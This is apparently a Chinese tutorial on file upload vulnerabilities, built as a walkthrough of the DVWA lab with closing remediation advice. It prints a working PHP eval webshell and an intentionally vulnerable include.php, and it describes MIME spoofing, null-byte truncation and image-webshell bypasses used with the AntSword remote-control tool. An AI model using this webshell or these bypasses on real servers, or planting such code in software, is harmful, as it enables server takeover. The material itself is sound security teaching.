指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。
这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。
“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
该漏洞的成因大部分是由于程序员在编写代码时对文件上传功能的代码设计缺陷造成的,可以导致用户上传可执行的脚本文件或者WebShell至服务器,并由服务器成功解析运行造成服务器权限被控制。
文件上传漏洞与其他漏洞相比,其风险更大,利用最简单。如果网站存在上传漏洞,黑客就可以上传一个Web脚本语言到服务器,并使服务器成功的解析和运行了黑客上传的脚本,导致代码被执行使得黑客全面控制服务器,从而进一步的入侵和攻击。
四、文件上传利用的条件:
能够成功上传木马文件
上传文件的路径可访问
上传文件所在路径具备可执行的权限
安全级别:low
查看源代码
basename(str,name)
函数返回路径中的文件名部分,如果可选参数name为空,则返回的文件名包含后缀名,反之不包含后缀名。
对源码分析可以看到,服务端对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。文件上传没有做任何限制,可以上传任何文件,再上传一句话木马,然后通过蚁剑webshell远程连接工具控制服务器。
使用蚁剑工具直接连接,口令为‘hacker’,然后蚁剑就会通过向服务器发送包含hacker参数的post请求,在服务器上执行任意命令,获取webshell权限,进入网站后台。可以下载、修改服务器的所有文件。如下图:
打开服务器的模拟终端:
安全级别:Medium
查看源代码
程序对上传的文件类型的大小做了限制,文件类型必须为image/jpeg和image/png,且文件大小要小于100000b
当上传php文件时,页面将提示错误
通过burpsuite工具抓包,修改文件类型,进行绕过
小tips:
或者将上传文件名修改为file.php .jpg [中间有空格] 抓包后选择repeater重放模块,之后点击hex选择十六进制编码,在该文件名对应的行数,将 20 改为 00,之后选择send发送,也可使php文件上传成功。
继续利用蚁剑远程连接工具连接成功。
安全级别:high
查看源代码
知识点:
strrpos(string , find ,start):查找find字符在string字符中的最后一次出现的位置,start参数可选,表示指定从哪里开始;
substr(string,start,length):返回string字符中从start开始的字符串,length参数可选,表示返回字符的长度;
strtolower(string):返回给定字符串的小写;
getimagesize(string):函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。如果不能访问
filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 FALSE 并产生一条 E_WARNING级的错误。所以 getimagesize函数的作用是判断上传的文件是不是有效的图片
move_uploaded_file(file,newlocal)函数表示把给定的文件移动到新的位置
上传一个PHP一句话木马被限制
将文件类型修改为image/jpeg也无用
可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是“.jpg”、“.jpeg” 、“.png”之一。同时,getimagesize()函数更是限制了上传文件的文件头必须为图像类型。
我们可以尝试将上传文件的文件头伪装成图片,首先利用copy命令将一句话木马文件b.php与正常的图片文件a.jpg合并:
【备注】以下为CMD下用copy命令制作“图片木马”的步骤,其中,a.jpg/b中“b”表示“二进制文件”,b.php/a中“a"表示ASCII码文件。
接着我们打开生成的图片木马文件,我们可以看到一句话木马已附在图片文件末尾:
然后我们试着将生成的木马图片文件c.jpg上传,上传成功!!!
但是此时是不能用蚁剑连接的,因为蚁剑的原理是向上传文件发送包含参数的 post 请求,通过控制参数来执行不同的命令。这里服务器将木马文件解析成了图片文件,因此向其发送 post 请求时,服务器并不会执行相应命令。
因此我们要把这张图片当做php来执行才行,这时我们想到了File Inclusion(文件包含) 漏洞,构造 payload。
http://192.168.XXX.XXX:port/vulnerabilities/fi/?page=file:///C:\phpstudy_pro\WWW\DVWA-master\hackable\uploads\c.jpg
文件有包含漏洞的php文件include.php,代码如下:
<?php
$file = $_GET['file'];
include $file;
?>
这便是最简单的文件包含漏洞代码,那么这个漏洞是必须服务器端自带的,也就是说如果你要攻击的网站没有文件包含漏洞,图片马就是用不了的。
文件包含漏洞简单说就是,在这个include.php中需要引用其他应用程序,php中应用程序文件是.php也就是说,他本来想引用一个php文件,但是漏洞就是,他不会识别什么是php文件,只要是他引用的,他都当php来解析,所以如果他引用的是jpg,但是jpg中有图片马,那么他就相当于引用了图片马,同样的道理还会有zip马等等
include.php引用参数file文件,并且都当成php文件执行,file=木马图片位置,这样图片内的php木马代码就可以得以解析。
这里需要强调一下开发语言规范性,一句话木马代码:
<?php @eval($_POST['hacker']);?>
<?php:PHP程序启动
?>:PHP程序闭合
@eval:eval函数,函数即方法,在编程规范里面,方法名是必须用小写表示的,这里注意一定要小写!
$_POST:在PHP语言中,前面有$符号,表示这是一个变量,$_POST要看成一个固定搭配,这里注意POST一定要大写!
'hacker':参数名称,可以填写任意英文字符,这里注意一定要加上引号!
查看源代码
imagecreatefromjpeg(filename):从给定的文件或url中创建一个新的图片
imagejpeg(image,filename,quality):从image图像中以 filename 文件名创建一个jpeg的图片,参数quality可选,0-100 (质量从小到大)
imagedestroy(image) :销毁图像
可以看到,Impossible级别对上传的文件进行了重命名(为md5值,导致00截断无法绕过过滤规则),并且加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。
六、文件上传漏洞修复注意点总结如下:
文件大小的合理限制 (通用5M大小限制,具体可根据业务需求设置);
白名单检查文件扩展名;
确保文件名不包含任何可能被解释为目录或遍历序列 ( ../) 的子字符串;
重命名上传的文件以避免可能导致现有文件被覆盖的冲突;
隐藏上传文件路径;
上传文件的存储目录禁用执行权限;
在完全验证之前不要将文件上传到服务器的永久文件系统;
内容检测要求:
A. 文件类型根据具体业务需求设置白名单
例子:人员头像(限制上传图片格式)、考勤表单(pdf或者图片格式)
B. 文件类型建议不要有txt文件上传,除业务需求例外。
C. 文件上传的内容和文件上传的扩展名一致。
通用白名单文件类型:
图片类型:jpg、jpeg、bmp、png、gif
文件类型:pdf、doc、docx、xls、xlsx、xlsm,xlt、xltx、ppt、pptx
文本类型:txt(特例情况使用,尽量不要设置该白名单)